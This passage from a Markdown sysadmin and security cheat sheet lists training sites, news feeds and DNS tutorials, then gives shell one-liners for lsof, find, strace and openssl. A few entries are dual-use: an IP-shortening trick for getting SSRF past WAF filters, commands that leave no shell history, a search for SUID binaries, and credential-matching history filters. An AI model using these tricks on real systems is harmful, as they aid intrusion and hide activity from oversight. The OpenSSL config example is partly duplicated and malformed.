&nbsp;&nbsp; <a href="https://www.hackthissite.org/pages/index/index.php">Hack This Site</a> - is a free, safe and legal training ground for hackers. 
&nbsp;&nbsp; <a href="https://attackdefense.com">Attack & Defense</a> - is a browser-based cloud labs. 
&nbsp;&nbsp; <a href="https://cryptohack.org/">Cryptohack</a> - a fun platform for learning modern cryptography. 
&nbsp;&nbsp; <a href="https://cryptopals.com/">Cryptopals</a> - the cryptopals crypto challenges.

##### :black_small_square: CTF platforms

&nbsp;&nbsp; <a href="https://github.com/facebook/fbctf">fbctf</a> - platform to host Capture the Flag competitions. 
&nbsp;&nbsp; <a href="https://github.com/google/ctfscoreboard">ctfscoreboard</a> - scoreboard for Capture The Flag competitions.

##### :black_small_square: Other resources

&nbsp;&nbsp; <a href="https://github.com/bugcrowd/bugcrowd_university">Bugcrowd University</a> - open source education content for the researcher community. 
&nbsp;&nbsp; <a href="https://github.com/rewardone/OSCPRepo">OSCPRepo</a> - a list of resources and scripts that I have been gathering in preparation for the OSCP. 
&nbsp;&nbsp; <a href="https://medium.com/@cxosmo/owasp-top-10-real-world-examples-part-1-a540c4ea2df5">OWASP Top 10: Real-World Examples</a> - test your web apps with real-world examples (two-part series). 
&nbsp;&nbsp; <a href="http://phrack.org/index.html">phrack.org</a> - an awesome collection of articles from several respected hackers and other thinkers. 
&nbsp;&nbsp; <a href="https://github.com/Gr1mmie/Practical-Ethical-Hacking-Resources">Practical-Ethical-Hacking-Resources</a> - compilation of resources from TCM's Udemy Course.

#### Your daily knowledge and news &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: RSS Readers

&nbsp;&nbsp; <a href="https://feedly.com/">Feedly</a> - organize, read and share what matters to you. 
&nbsp;&nbsp; <a href="https://www.inoreader.com/">Inoreader</a> - similar to feedly with a support for filtering what you fetch from rss.

##### :black_small_square: IRC Channels

&nbsp;&nbsp; <a href="https://wiki.hackerspaces.org/IRC_Channel">#hackerspaces</a> - hackerspace IRC channels.

##### :black_small_square: Security

&nbsp;&nbsp; <a href="https://thehackernews.com/">The Hacker News</a> - leading news source dedicated to promoting awareness for security experts and hackers. 
&nbsp;&nbsp; <a href="https://latesthackingnews.com/">Latest Hacking News</a> - provides the latest hacking news, exploits and vulnerabilities for ethical hackers. 
&nbsp;&nbsp; <a href="https://securitynewsletter.co/">Security Newsletter</a> - security news as a weekly digest (email notifications). 
&nbsp;&nbsp; <a href="https://security.googleblog.com/">Google Online Security Blog</a> - the latest news and insights from Google on security and safety on the Internet. 
&nbsp;&nbsp; <a href="https://blog.qualys.com/">Qualys Blog</a> - expert network security guidance and news. 
&nbsp;&nbsp; <a href="https://www.darkreading.com/">DARKReading</a> - connecting the Information Security Community. 
&nbsp;&nbsp; <a href="https://www.darknet.org.uk/">Darknet</a> - latest hacking tools, hacker news, cybersecurity best practices, ethical hacking & pen-testing. 
&nbsp;&nbsp; <a href="https://twitter.com/disclosedh1">publiclyDisclosed</a> - public disclosure watcher who keeps you up to date about the recently disclosed bugs. 
&nbsp;&nbsp; <a href="https://www.reddit.com/r/hacking/">Reddit - Hacking</a> - a subreddit dedicated to hacking and hackers. 
&nbsp;&nbsp; <a href="https://packetstormsecurity.com/">Packet Storm</a> - information security services, news, files, tools, exploits, advisories and whitepapers. 
&nbsp;&nbsp; <a href="https://sekurak.pl/">Sekurak</a> - about security, penetration tests, vulnerabilities and many others (PL/EN). 
&nbsp;&nbsp; <a href="https://nfsec.pl/">nf.sec</a> - basic aspects and mechanisms of Linux operating system security (PL).

##### :black_small_square: Other/All-in-one

&nbsp;&nbsp; <a href="https://changelog.com/">Changelog</a> - is a community of hackers; news & podcasts for developers and hackers.

#### Other Cheat Sheets &nbsp;[[TOC]](#anger-table-of-contents)

###### Build your own DNS Servers

&nbsp;&nbsp; <a href="https://calomel.org/unbound_dns.html">Unbound DNS Tutorial</a> - a validating, recursive, and caching DNS server. 
&nbsp;&nbsp; <a href="https://www.ctrl.blog/entry/knot-dns-resolver-tutorial.html">Knot Resolver on Fedora</a> - how to get faster and more secure DNS resolution with Knot Resolver on Fedora. 
&nbsp;&nbsp; <a href="https://www.aaflalo.me/2018/10/tutorial-setup-dns-over-https-server/">DNS-over-HTTPS</a> - tutorial to setup your own DNS-over-HTTPS (DoH) server. 
&nbsp;&nbsp; <a href="https://hacks.mozilla.org/2018/05/a-cartoon-intro-to-dns-over-https/">dns-over-https</a> - a cartoon intro to DNS over HTTPS. 
&nbsp;&nbsp; <a href="https://www.aaflalo.me/2019/03/dns-over-tls/">DNS-over-TLS</a> - following to your DoH server, setup your DNS-over-TLS (DoT) server. 
&nbsp;&nbsp; <a href="https://zwischenzugs.com/2018/01/26/how-and-why-i-run-my-own-dns-servers/">DNS Servers</a> - how (and why) i run my own DNS Servers.

###### Build your own Certificate Authority

&nbsp;&nbsp; <a href="https://jamielinux.com/docs/openssl-certificate-authority/">OpenSSL Certificate Authority</a> - build your own certificate authority (CA) using the OpenSSL tools. 
&nbsp;&nbsp; <a href="https://github.com/smallstep/certificates">step-ca Certificate Authority</a> - build your own certificate authority (CA) using open source step-ca.

###### Build your own System/Virtual Machine

&nbsp;&nbsp; <a href="https://github.com/cfenollosa/os-tutorial">os-tutorial</a> - how to create an OS from scratch. 
&nbsp;&nbsp; <a href="https://justinmeiners.github.io/lc3-vm/">Write your Own Virtual Machine</a> - how to write your own virtual machine (VM). 
&nbsp;&nbsp; <a href="https://github.com/cirosantilli/x86-bare-metal-examples">x86 Bare Metal Examples</a> - dozens of minimal operating systems to learn x86 system programming. 
&nbsp;&nbsp; <a href="https://github.com/djhworld/simple-computer">simple-computer</a> - the scott CPU from "But How Do It Know?" by J. Clark Scott. 
&nbsp;&nbsp; <a href="https://littleosbook.github.io/">littleosbook</a> - the little book about OS development.

###### DNS Servers list (privacy)

| IP | URL |
| :--- | :--- |
| **`84.200.69.80`** | [dns.watch](https://dns.watch/) |
| **`94.247.43.254`** | [opennic.org](https://www.opennic.org/) |
| **`64.6.64.6`** | [verisign.com](https://www.verisign.com/en_US/security-services/public-dns/index.xhtml) |
| **`89.233.43.71`** | [censurfridns.dk](https://blog.uncensoreddns.org/) |
| **`1.1.1.1`** | [cloudflare.com](https://1.1.1.1/) |
| **`94.130.110.185`** | [dnsprivacy.at](https://dnsprivacy.at/) |

###### TOP Browser extensions

###### TOP Burp extensions

###### Hack Mozilla Firefox address bar

In Firefox's address bar, you can limit results by typing special characters before or after your term:

- `^` - for matches in your browsing history
- `*` - for matches in your bookmarks.
- `%` - for matches in your currently open tabs.
- `#` - for matches in page titles.
- `@` - for matches in web addresses.

###### Chrome hidden commands

- `chrome://chrome-urls` - list of all commands
- `chrome://flags` - enable experiments and development features
- `chrome://interstitials` - errors and warnings
- `chrome://net-internals` - network internals (events, dns, cache)
- `chrome://network-errors` - network errors
- `chrome://net-export` - start logging future network activity to a file
- `chrome://safe-browsing` - safe browsing options
- `chrome://user-actions` - record all user actions
- `chrome://restart` - restart chrome
- `chrome://dino` - ERR_INTERNET_DISCONNECTED...
- `cache:<website-address>` - view the cached version of the web page

###### Bypass WAFs by Shortening IP Address (by [0xInfection](https://twitter.com/0xInfection))

IP addresses can be shortened by dropping the zeroes:

```
http://1.0.0.1 → http://1.1
http://127.0.0.1 → http://127.1
http://192.168.0.1 → http://192.168.1

http://0xC0A80001 or http://3232235521 → 192.168.0.1
http://192.168.257 → 192.168.1.1
http://192.168.516 → 192.168.2.4
```

> This bypasses WAF filters for SSRF, open-redirect, etc where any IP as input gets blacklisted.

For more information please see [How to Obscure Any URL](http://www.pc-help.org/obscure.htm) and [Magic IP Address Shortcuts](https://stuff-things.net/2014/09/25/magic-ip-address-shortcuts/).

###### Hashing, encryption and encoding (by [Michal Špaček](https://twitter.com/spazef0rze))

_Hashing_

plaintext :arrow_right: hash 
hash :no_entry: plaintext

_Symmetric encryption_

plaintext :arrow_right: :key: :arrow_right: ciphertext 
plaintext :arrow_left: :key: :arrow_left: ciphertext 
(:key: shared key)

_Asymmetric encryption_

plaintext :arrow_right: :key: :arrow_right: ciphertext 
plaintext :arrow_left: :part_alternation_mark: :arrow_left: ciphertext 
(:key: public key, :part_alternation_mark: private key)

_Encoding_

text :arrow_right: encoded 
text :arrow_left: encoded

#### Shell One-liners &nbsp;[[TOC]](#anger-table-of-contents)

##### Table of Contents

* [terminal](#tool-terminal)
  * [busybox](#tool-busybox)
  * [mount](#tool-mount)
  * [fuser](#tool-fuser)
  * [lsof](#tool-lsof)
  * [ps](#tool-ps)
  * [top](#tool-top)
  * [vmstat](#tool-vmstat)
  * [iostat](#tool-iostat)
  * [strace](#tool-strace)
  * [kill](#tool-kill)
  * [find](#tool-find)
  * [diff](#tool-diff)
  * [vimdiff](#tool-vimdiff)
  * [tail](#tool-tail)
  * [cpulimit](#tool-cpulimit)
  * [pwdx](#tool-pwdx)
  * [tr](#tool-tr)
  * [chmod](#tool-chmod)
  * [who](#tool-who)
  * [last](#tool-last)
  * [screen](#tool-screen)
  * [script](#tool-script)
  * [du](#tool-du)
  * [inotifywait](#tool-inotifywait)
  * [openssl](#tool-openssl)
  * [secure-delete](#tool-secure-delete)
  * [dd](#tool-dd)
  * [gpg](#tool-gpg)
  * [system-other](#tool-system-other)
  * [curl](#tool-curl)
  * [httpie](#tool-httpie)
  * [ssh](#tool-ssh)
  * [linux-dev](#tool-linux-dev)
  * [tcpdump](#tool-tcpdump)
  * [tcpick](#tool-tcpick)
  * [ngrep](#tool-ngrep)
  * [hping3](#tool-hping3)
  * [nmap](#tool-nmap)
  * [netcat](#tool-netcat)
  * [socat](#tool-socat)
  * [p0f](#tool-p0f)
  * [gnutls-cli](#tool-gnutls-cli)
  * [netstat](#tool-netstat)
  * [rsync](#tool-rsync)
  * [host](#tool-host)
  * [dig](#tool-dig)
  * [certbot](#tool-certbot)
  * [network-other](#tool-network-other)
  * [git](#tool-git)
  * [awk](#tool-awk)
  * [sed](#tool-sed)
  * [grep](#tool-grep)
  * [perl](#tool-perl)

##### Tool: [terminal](https://en.wikipedia.org/wiki/Linux_console)

###### Reload shell without exit

```bash
exec $SHELL -l
```

###### Close shell keeping all subprocess running

```bash
disown -a && exit
```

###### Exit without saving shell history

```bash
kill -9 $$
unset HISTFILE && exit
```

###### Perform a branching conditional

```bash
true && echo success
false || echo failed
```

###### Pipe stdout and stderr to separate commands

```bash
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
```

###### Redirect stdout and stderr each to separate files and print both to the screen

```bash
(some_command 2>&1 1>&3 | tee errorlog ) 3>&1 1>&2 | tee stdoutlog
```

###### List of commands you use most often

```bash
history | \
awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | \
grep -v "./" | \
column -c3 -s " " -t | \
sort -nr | nl |  head -n 20
```

###### Sterilize bash history

```bash
function sterile() {

history | awk '$2 != "history" { $1=""; print $0 }' | egrep -vi "\
curl\b+.*(-E|--cert)\b+.*\b*|\
curl\b+.*--pass\b+.*\b*|\
curl\b+.*(-U|--proxy-user).*:.*\b*|\
curl\b+.*(-u|--user).*:.*\b*
.*(-H|--header).*(token|auth.*)\b+.*|\
wget\b+.*--.*password\b+.*\b*|\
http.?://.+:.+@.*\
" > $HOME/histbuff; history -r $HOME/histbuff;

}

export PROMPT_COMMAND="sterile"
```

> Look also: [A naive utility to censor credentials in command history](https://github.com/lbonanomi/go/blob/master/revisionist.go).

###### Quickly backup a file

```bash
cp filename{,.orig}
```

###### Empty a file (truncate to 0 size)

```bash
>filename
```

###### Delete all files in a folder that don't match a certain file extension

```bash
rm !(*.foo|*.bar|*.baz)
```

###### Pass multi-line string to a file

```bash
# cat >filename ... - overwrite the file
# cat >>filename ... - append to a file
cat > filename << __EOF__
data data data
__EOF__
```

###### Edit a file on a remote host using vim

```bash
vim scp://user@host//etc/fstab
```

###### Create a directory and change into it at the same time

```bash
mkd() { mkdir -p "$@" && cd "$@"; }
```

###### Convert uppercase files to lowercase files

```bash
rename 'y/A-Z/a-z/' *
```

###### Print a row of characters across the terminal

```bash
printf "%`tput cols`s" | tr ' ' '#'
```

###### Show shell history without line numbers

```bash
history | cut -c 8-
fc -l -n 1 | sed 's/^\s*//'
```

###### Run command(s) after exit session

```bash
cat > /etc/profile << __EOF__
_after_logout() {

username=$(whoami)

for _pid in $(ps afx | grep sshd | grep "$username" | awk '{print $1}') ; do

kill -9 $_pid

done

}
trap _after_logout EXIT
__EOF__
```

###### Generate a sequence of numbers

```bash
for ((i=1; i<=10; i+=2)) ; do echo $i ; done
# alternative: seq 1 2 10

for ((i=5; i<=10; ++i)) ; do printf '%02d\n' $i ; done
# alternative: seq -w 5 10

for i in {1..10} ; do echo $i ; done
```

###### Simple Bash filewatching

```bash
unset MAIL; export MAILCHECK=1; export MAILPATH='$FILE_TO_WATCH?$MESSAGE'
```

---

##### Tool: [busybox](https://www.busybox.net/)

###### Static HTTP web server

```bash
busybox httpd -p $PORT -h $HOME [-c httpd.conf]
```

___

##### Tool: [mount](https://en.wikipedia.org/wiki/Mount_(Unix))

###### Mount a temporary ram partition

```bash
mount -t tmpfs tmpfs /mnt -o size=64M
```

* `-t` - filesystem type
  * `-o` - mount options

###### Remount a filesystem as read/write

```bash
mount -o remount,rw /
```

___

##### Tool: [fuser](https://en.wikipedia.org/wiki/Fuser_(Unix))

###### Show which processes use the files/directories

```bash
fuser /var/log/daemon.log
fuser -v /home/supervisor
```

###### Kills a process that is locking a file

```bash
fuser -ki filename
```

* `-i` - interactive option

###### Kills a process that is locking a file with specific signal

```bash
fuser -k -HUP filename
```

* `--list-signals` - list available signal names

###### Show what PID is listening on specific port

```bash
fuser -v 53/udp
```

###### Show all processes using the named filesystems or block device

```bash
fuser -mv /var/www
```

___

##### Tool: [lsof](https://en.wikipedia.org/wiki/Lsof)

###### Show process that use internet connection at the moment

```bash
lsof -P -i -n
```

###### Show process that use specific port number

```bash
lsof -i tcp:443
```

###### Lists all listening ports together with the PID of the associated process

```bash
lsof -Pan -i tcp -i udp
```

###### List all open ports and their owning executables

```bash
lsof -i -P | grep -i "listen"
```

###### Show all open ports

```bash
lsof -Pnl -i
```

###### Show open ports (LISTEN)

```bash
lsof -Pni4 | grep LISTEN | column -t
```

###### List all files opened by a particular command

```bash
lsof -c "process"
```

###### View user activity per directory

```bash
lsof -u username -a +D /etc
```

###### Show 10 largest open files

```bash
lsof / | \
awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | \
sort -n -u | tail | column -t
```

###### Show current working directory of a process

```bash
lsof -p <PID> | grep cwd
```

___

##### Tool: [ps](https://en.wikipedia.org/wiki/Ps_(Unix))

###### Show a 4-way scrollable process tree with full details

```bash
ps awwfux | less -S
```

###### Processes per user counter

```bash
ps hax -o user | sort | uniq -c | sort -r
```

###### Show all processes by name with main header

```bash
ps -lfC nginx
```

___

##### Tool: [find](https://en.wikipedia.org/wiki/Find_(Unix))

###### Find files that have been modified on your system in the past 60 minutes

```bash
find / -mmin 60 -type f
```

###### Find all files larger than 20M

```bash
find / -type f -size +20M
```

###### Find duplicate files (based on MD5 hash)

```bash
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33
```

###### Change permission only for files

```bash
cd /var/www/site && find . -type f -exec chmod 766 {} \;
cd /var/www/site && find . -type f -exec chmod 664 {} +
```

###### Change permission only for directories

```bash
cd /var/www/site && find . -type d -exec chmod g+x {} \;
cd /var/www/site && find . -type d -exec chmod g+rwx {} +
```

###### Find files and directories for specific user/group

```bash
# User:
find . -user <username> -print
find /etc -type f -user <username> -name "*.conf"

# Group:
find /opt -group <group>
find /etc -type f -group <group> -iname "*.conf"
```

###### Find files and directories for all without specific user/group

```bash
# User:
find . \! -user <username> -print

# Group:
find . \! -group <group>
```

###### Looking for files/directories that only have certain permission

```bash
# User
find . -user <username> -perm -u+rw # -rw-r--r--
find /home -user $(whoami) -perm 777 # -rwxrwxrwx

# Group:
find /home -type d -group <group> -perm 755 # -rwxr-xr-x
```

###### Delete older files than 60 days

```bash
find . -type f -mtime +60 -delete
```

###### Recursively remove all empty sub-directories from a directory

```bash
find . -depth  -type d  -empty -exec rmdir {} \;
```

###### How to find all hard links to a file

```bash
find </path/to/dir> -xdev -samefile filename
```

###### Recursively find the latest modified files

```bash
find . -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head
```

###### Recursively find/replace of a string with sed

```bash
find . -not -path '*/\.git*' -type f -print0 | xargs -0 sed -i 's/foo/bar/g'
```

###### Recursively find/replace of a string in directories and file names

```bash
find . -depth -name '*test*' -execdir bash -c 'mv -v "$1" "${1//foo/bar}"' _ {} \;
```

###### Recursively find suid executables

```bash
find / $ -perm -4000 -o -perm -2000 $ -type f -exec ls -la {} \;
```

___

##### Tool: [top](https://en.wikipedia.org/wiki/Top_(software))

###### Use top to monitor only all processes with the specific string

```bash
top -p $(pgrep -d , <str>)
```

* `<str>` - process containing string (eg. nginx, worker)

___

##### Tool: [vmstat](https://en.wikipedia.org/wiki/Vmstat)

###### Show current system utilization (fields in kilobytes)

```bash
vmstat 2 20 -t -w
```

* `2` - number of times with a defined time interval (delay)
  * `20` - each execution of the command (count)
  * `-t` - show timestamp
  * `-w` - wide output
  * `-S M` - output of the fields in megabytes instead of kilobytes

###### Show current system utilization will get refreshed every 5 seconds

```bash
vmstat 5 -w
```

###### Display report a summary of disk operations

```bash
vmstat -D
```

###### Display report of event counters and memory stats

```bash
vmstat -s
```

###### Display report about kernel objects stored in slab layer cache

```bash
vmstat -m
```

##### Tool: [iostat](https://en.wikipedia.org/wiki/Iostat)

###### Show information about the CPU usage, and I/O statistics about all the partitions

```bash
iostat 2 10 -t -m
```

* `2` - number of times with a defined time interval (delay)
  * `10` - each execution of the command (count)
  * `-t` - show timestamp
  * `-m` - fields in megabytes (`-k` - in kilobytes, default)

###### Show information only about the CPU utilization

```bash
iostat 2 10 -t -m -c
```

###### Show information only about the disk utilization

```bash
iostat 2 10 -t -m -d
```

###### Show information only about the LVM utilization

```bash
iostat -N
```

___

##### Tool: [strace](https://en.wikipedia.org/wiki/Strace)

###### Track with child processes

```bash
# 1)
strace -f -p $(pidof glusterfsd)

# 2)
strace -f $(pidof php-fpm | sed 's/$[0-9]*$/\-p \1/g')
```

###### Track process with 30 seconds limit

```bash
timeout 30 strace $(< /var/run/zabbix/zabbix_agentd.pid)
```

###### Track processes and redirect output to a file

```bash
ps auxw | grep '[a]pache' | awk '{print " -p " $2}' | \
xargs strace -o /tmp/strace-apache-proc.out
```

###### Track with print time spent in each syscall and limit length of print strings

```bash
ps auxw | grep '[i]init_policy' | awk '{print " -p " $2}' | \
xargs strace -f -e trace=network -T -s 10000
```

###### Track the open request of a network port

```bash
strace -f -e trace=bind nc -l 80
```

###### Track the open request of a network port (show TCP/UDP)

```bash
strace -f -e trace=network nc -lu 80
```

___

##### Tool: [kill](https://en.wikipedia.org/wiki/Kill_(command))

###### Kill a process running on port

```bash
kill -9 $(lsof -i :<port> | awk '{l=$2} END {print l}')
```

___

##### Tool: [diff](https://en.wikipedia.org/wiki/Diff)

###### Compare two directory trees

```bash
diff <(cd directory1 && find | sort) <(cd directory2 && find | sort)
```

###### Compare output of two commands

```bash
diff <(cat /etc/passwd) <(cut -f2 /etc/passwd)
```

___

##### Tool: [vimdiff](http://vimdoc.sourceforge.net/htmldoc/diff.html)

###### Highlight the exact differences, based on characters and words

```bash
vimdiff file1 file2
```

###### Compare two JSON files

```bash
vimdiff <(jq -S . A.json) <(jq -S . B.json)
```

###### Compare Hex dump

```bash
d(){ vimdiff <(f $1) <(f $2);};f(){ hexdump -C $1 | cut -d' ' -f3- | tr -s ' ';}; d ~/bin1 ~/bin2
```

###### diffchar

Save [diffchar](https://raw.githubusercontent.com/vim-scripts/diffchar.vim/master/plugin/diffchar.vim) @ `~/.vim/plugins`

Click `F7` to switch between diff modes

Usefull `vimdiff` commands:

* `qa` to exit all windows
* `:vertical resize 70` to resize window
* set window width `Ctrl+W [N columns]+(Shift+)<\>`

___

##### Tool: [tail](https://en.wikipedia.org/wiki/Tail_(Unix))

###### Annotate tail -f with timestamps

```bash
tail -f file | while read ; do echo "$(date +%T.%N) $REPLY" ; done
```

###### Analyse an Apache access log for the most common IP addresses

```bash
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
```

###### Analyse web server log and show only 5xx http codes

```bash
tail -n 100 -f /path/to/logfile | grep "HTTP/[1-2].[0-1]\" [5]"
```

___

##### Tool: [tar](https://en.wikipedia.org/wiki/Tar_(computing))

###### System backup with exclude specific directories

```bash
cd /
tar -czvpf /mnt/system$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* --exclude=mnt/* .
```

###### System backup with exclude specific directories (pigz)

```bash
cd /
tar cvpf /backup/snapshot-$(date +%d%m%Y%s).tgz --directory=/ \
--exclude=proc/* --exclude=sys/* --exclude=dev/* \
--exclude=mnt/* --exclude=tmp/* --use-compress-program=pigz .
```

___

##### Tool: [dump](https://en.wikipedia.org/wiki/Dump_(program))

###### System backup to file

```bash
dump -y -u -f /backup/system$(date +%d%m%Y%s).lzo /
```

###### Restore system from lzo file

```bash
cd /
restore -rf /backup/system$(date +%d%m%Y%s).lzo
```

___

##### Tool: [cpulimit](http://cpulimit.sourceforge.net/)

###### Limit the cpu usage of a process

```bash
cpulimit -p pid -l 50
```

___

##### Tool: [pwdx](https://www.cyberciti.biz/faq/unix-linux-pwdx-command-examples-usage-syntax/)

###### Show current working directory of a process

```bash
pwdx <pid>
```

___

##### Tool: [taskset](https://www.cyberciti.biz/faq/taskset-cpu-affinity-command/)

###### Start a command on only one CPU core

```bash
taskset -c 0 <command>
```

___

##### Tool: [tr](https://en.wikipedia.org/wiki/Tr_(Unix))

###### Show directories in the PATH, one per line

```bash
tr : '\n' <<<$PATH
```

___

##### Tool: [chmod](https://en.wikipedia.org/wiki/Chmod)

###### Remove executable bit from all files in the current directory

```bash
chmod -R -x+X *
```

###### Restore permission for /bin/chmod

```bash
# 1:
cp /bin/ls chmod.01
cp /bin/chmod chmod.01
./chmod.01 700 file

# 2:
/bin/busybox chmod 0700 /bin/chmod

# 3:
setfacl --set u::rwx,g::---,o::--- /bin/chmod
```

___

##### Tool: [who](https://en.wikipedia.org/wiki/Who_(Unix))

###### Find last reboot time

```bash
who -b
```

###### Detect a user sudo-su'd into the current shell

```bash
[[ $(who -m | awk '{ print $1 }') == $(whoami) ]] || echo "You are su-ed to $(whoami)"
```

___

##### Tool: [last](https://www.howtoforge.com/linux-last-command/)

###### Was the last reboot a panic?

```bash
(last -x -f $(ls -1t /var/log/wtmp* | head -2 | tail -1); last -x -f /var/log/wtmp) | \
grep -A1 reboot | head -2 | grep -q shutdown && echo "Expected reboot" || echo "Panic reboot"
```

___

##### Tool: [screen](https://en.wikipedia.org/wiki/GNU_Screen)

###### Start screen in detached mode

```bash
screen -d -m <command>
```

###### Attach to an existing screen session

```bash
screen -r -d <pid>
```

___

##### Tool: [script](https://en.wikipedia.org/wiki/Script_(Unix))

###### Record and replay terminal session

```bash
### Record session
# 1)
script -t 2>~/session.time -a ~/session.log

# 2)
script --timing=session.time session.log

### Replay session
scriptreplay --timing=session.time session.log
```

___

##### Tool: [du](https://en.wikipedia.org/wiki/GNU_Screen)

###### Show 20 biggest directories with 'K M G'

```bash
du | \
sort -r -n | \
awk '{split("K M G",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}' | \
head -n 20
```

___

##### Tool: [inotifywait](https://en.wikipedia.org/wiki/GNU_Screen)

###### Init tool everytime a file in a directory is modified

```bash
while true ; do inotifywait -r -e MODIFY dir/ && ls dir/ ; done;
```

___

##### Tool: [openssl](https://www.openssl.org/)

###### Testing connection to the remote host

```bash
echo | openssl s_client -connect google.com:443 -showcerts
```

###### Testing connection to the remote host (debug mode)

```bash
echo | openssl s_client -connect google.com:443 -showcerts -tlsextdebug -status
```

###### Testing connection to the remote host (with SNI support)

```bash
echo | openssl s_client -showcerts -servername google.com -connect google.com:443
```

###### Testing connection to the remote host with specific ssl version

```bash
openssl s_client -tls1_2 -connect google.com:443
```

###### Testing connection to the remote host with specific ssl cipher

```bash
openssl s_client -cipher 'AES128-SHA' -connect google.com:443
```

###### Verify 0-RTT

```bash
_host="example.com"

cat > req.in << __EOF__
HEAD / HTTP/1.1
Host: $_host
Connection: close
__EOF__

openssl s_client -connect ${_host}:443 -tls1_3 -sess_out session.pem -ign_eof < req.in
openssl s_client -connect ${_host}:443 -tls1_3 -sess_in session.pem -early_data req.in
```

###### Generate private key without passphrase

```bash
# _len: 2048, 4096
( _fd="private.key" ; _len="2048" ; \
openssl genrsa -out ${_fd} ${_len} )
```

###### Generate private key with passphrase

```bash
# _ciph: aes128, aes256
# _len: 2048, 4096
( _ciph="aes128" ; _fd="private.key" ; _len="2048" ; \
openssl genrsa -${_ciph} -out ${_fd} ${_len} )
```

###### Remove passphrase from private key

```bash
( _fd="private.key" ; _fd_unp="private_unp.key" ; \
openssl rsa -in ${_fd} -out ${_fd_unp} )
```

###### Encrypt existing private key with a passphrase

```bash
# _ciph: aes128, aes256
( _ciph="aes128" ; _fd="private.key" ; _fd_pass="private_pass.key" ; \
openssl rsa -${_ciph} -in ${_fd} -out ${_fd_pass}
```

###### Check private key

```bash
( _fd="private.key" ; \
openssl rsa -check -in ${_fd} )
```

###### Get public key from private key

```bash
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl rsa -pubout -in ${_fd} -out ${_fd_pub} )
```

###### Generate private key and CSR

```bash
( _fd="private.key" ; _fd_csr="request.csr" ; _len="2048" ; \
openssl req -out ${_fd_csr} -new -newkey rsa:${_len} -nodes -keyout ${_fd} )
```

###### Generate CSR

```bash
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -out ${_fd_csr} -new -key ${_fd} )
```

###### Generate CSR (metadata from existing certificate)

> Where `private.key` is the existing private key. As you can see you do not generate this CSR from your certificate (public key). Also you do not generate the "same" CSR, just a new one to request a new certificate.

```bash
( _fd="private.key" ; _fd_csr="request.csr" ; _fd_crt="cert.crt" ; \
openssl x509 -x509toreq -in ${_fd_crt} -out ${_fd_csr} -signkey ${_fd} )
```

###### Generate CSR with -config param

```bash
( _fd="private.key" ; _fd_csr="request.csr" ; \
openssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \
-config <(
cat << __EOF__
[req]
default_bits = 2048
default_md = sha256
prompt = no
distinguished_name = dn
req_extensions = req_ext

[ dn ]
C = "<two-letter ISO abbreviation for your country>"
ST = "<state or province where your organisation is legally located>"
L = "<city where your organisation is legally located>"
O = "<legal name of your organisation>"
OU = "<section of the organisation>"
CN = "<fully qualified domain name>"

[ req_ext ]
subjectAltName = @alt_names

[ alt_names ]
DNS.1 = <fully qualified domain name>
DNS.2 = <next domain>
DNS.3 = <next domain>
__EOF__
))
```

Other values in `[ dn ]`:

```
countryName            = "DE"                     # C=
stateOrProvinceName    = "Hessen"                 # ST=
localityName           = "Keller"                 # L=
postalCode             = "424242"                 # L/postalcode=
postalAddress          = "Keller"                 # L/postaladdress=
streetAddress          = "Crater 1621"            # L/street=
organizationName       = "apfelboymschule"        # O=
organizationalUnitName = "IT Department"          # OU=
commonName             = "example.com"            # CN=
emailAddress           = "webmaster@example.com"  # CN/emailAddress=
```

Example of `oids` (you'll probably also have to make OpenSSL know about the new fields required for EV by adding the following under `[new_oids]`):

```
[req]
...
oid_section         = new_oids

[ new_oids ]
postalCode = 2.5.4.17
streetAddress = 2.5.4.9
```

Full example:

[ new_oids ]
serialNumber = 2.5.4.5
streetAddress = 2.5.4.9
postalCode = 2.5.4.17
businessCategory = 2.5.4.15

[ dn ]
serialNumber=00001111
businessCategory=Private Organization
jurisdictionC=DE
C=DE
ST=Hessen
L=Keller
postalCode=424242
streetAddress=Crater 1621
O=AV Company
OU=IT
CN=example.com

[ req_ext ]
subjectAltName = @alt_names

[ alt_names ]
DNS.1 = example.com
__EOF__
))
```

For more information please look at these great explanations:

- [RFC 5280](https://tools.ietf.org/html/rfc5280)
- [How to create multidomain certificates using config files](https://apfelboymchen.net/gnu/notes/openssl%20multidomain%20with%20config%20files.html)
- [Generate a multi domains certificate using config files](https://gist.github.com/romainnorberg/464758a6620228b977212a3cf20c3e08)
- [Your OpenSSL CSR command is out of date](https://expeditedsecurity.com/blog/openssl-csr-command/)
- [OpenSSL example configuration file](https://www.tbs-certificats.com/openssl-dem-server-cert.cnf)
- [Object Identifiers (OIDs)](https://www.alvestrand.no/objectid/)
- [openssl objects.txt](https://github.com/openssl/openssl/blob/master/crypto/objects/objects.txt)

###### List available EC curves

```bash
openssl ecparam -list_curves
```

###### Print ECDSA private and public keys

```bash
( _fd="private.key" ; \
openssl ec -in ${_fd} -noout -text )

# For x25519 only extracting public key
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl pkey -in ${_fd} -pubout -out ${_fd_pub} )
```

###### Generate ECDSA private key

```bash
# _curve: prime256v1, secp521r1, secp384r1
( _fd="private.key" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey )

# _curve: X25519
( _fd="private.key" ; _curve="x25519" ; \
openssl genpkey -algorithm ${_curve} -out ${_fd} )
```

###### Generate private key and CSR (ECC)

```bash
# _curve: prime256v1, secp521r1, secp384r1
( _fd="domain.com.key" ; _fd_csr="domain.com.csr" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey ; \
openssl req -new -key ${_fd} -out ${_fd_csr} -sha256 )
```

###### Generate self-signed certificate

```bash
# _len: 2048, 4096
